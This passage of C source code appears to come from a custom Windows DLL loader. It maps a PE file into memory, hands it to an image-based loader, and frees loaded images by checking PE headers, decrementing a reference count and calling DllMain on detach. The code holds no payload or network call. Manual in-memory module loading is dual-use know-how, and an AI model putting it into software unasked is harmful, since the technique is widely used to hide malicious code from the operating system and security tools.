  666. // Close file handle since we don't need it anymore
  667. CloseHandle(hfile);
  668. // Map file mapping object to memory image
  669. void *baseaddr;
  670. baseaddr=MapViewOfFile(hmapping,FILE_MAP_READ,0,0,0);
  671. if(baseaddr==NULL) {
  672. CloseHandle(hmapping);
  673. return NULL;
  674. }
  675. // Now pass off to LoadDLLFromImage
  676. HMODULE ret;
  677. if(dwFlags & FORCE_LOAD_NEW_IMAGE) {
  678. ret=LoadDLLFromImage(baseaddr, NULL, dwFlags & ~LOAD_WITH_ALTERED_SEARCH_PATH);
  679. } else {
  680. ret=LoadDLLFromImage(baseaddr, svFilePart, dwFlags & ~LOAD_WITH_ALTERED_SEARCH_PATH);
  681. }
  682. // Close file mapping
  683. UnmapViewOfFile(baseaddr);
  684. CloseHandle(hmapping);
  685. // Return base address as an instance handle
  686. return (HMODULE) ret;
  687. }
  688. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  689. // LoadDLL()                                                                                               //
  690. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  691. HMODULE LoadDLL(LPCTSTR lpLibFileName)
  692. {
  693. return LoadDLLEx(lpLibFileName,NULL,0);
  694. }
  695. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  696. // FreeDLL()                                                                                               //
  697. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  698. BOOL FreeDLL(HMODULE hLibModule)
  699. {
  700. if(hLibModule==NULL) return FALSE;
  701. // Examine DOS Header
  702. PIMAGE_DOS_HEADER doshead;
  703. doshead=(PIMAGE_DOS_HEADER) hLibModule;
  704. if(doshead->e_magic!=IMAGE_DOS_SIGNATURE) return FALSE;
  705. // Determine File Format
  706. if(*(DWORD *)NTSIGNATURE(hLibModule) != IMAGE_NT_SIGNATURE) return FALSE;
  707. // Get PE Optional Header
  708. PIMAGE_OPTIONAL_HEADER poh;
  709. poh=(PIMAGE_OPTIONAL_HEADER) OPTHDROFFSET(hLibModule);
  710. // Ensure we are an executable image, not a rom image
  711. if(poh->Magic!=0x010B) return FALSE;
  712. // Get image length
  713. DWORD dwImageSize;
  714. dwImageSize=poh->SizeOfImage;
  715. // Get from DLL table/decrease reference count
  716. DWORD dwFlags;
  717. char svName[MAX_PATH];
  718. int dllaction;
  719. dllaction=RemoveDLLReference(hLibModule,svName,&dwFlags);
  720. if(dllaction==-1) return NULL;
  721. // Call DllMain if necessary
  722. BOOL bRet;
  723. bRet=TRUE;
  724. if(!(dwFlags & (LOAD_LIBRARY_AS_DATAFILE | DONT_RESOLVE_DLL_REFERENCES))) {
  725. if(dllaction) {
  726. RunDLLMain(hLibModule,dwImageSize,DLL_DETACH);
  727. if(g_bIsWinNT) bRet=UnmapViewOfFile(hLibModule);
  728. else bRet=VirtualFree(hLibModule,0,MEM_RELEASE);
  729. }
  730. }
  731. return bRet;
  732. }